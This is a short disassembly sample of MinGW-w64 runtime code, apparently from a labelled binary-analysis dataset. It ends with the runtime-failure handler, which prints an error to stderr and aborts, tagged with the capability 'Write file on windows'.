jmp 0x402a1e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402a46
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402a1e
test r9d, r9d
jg 0x402a30
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x402c80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop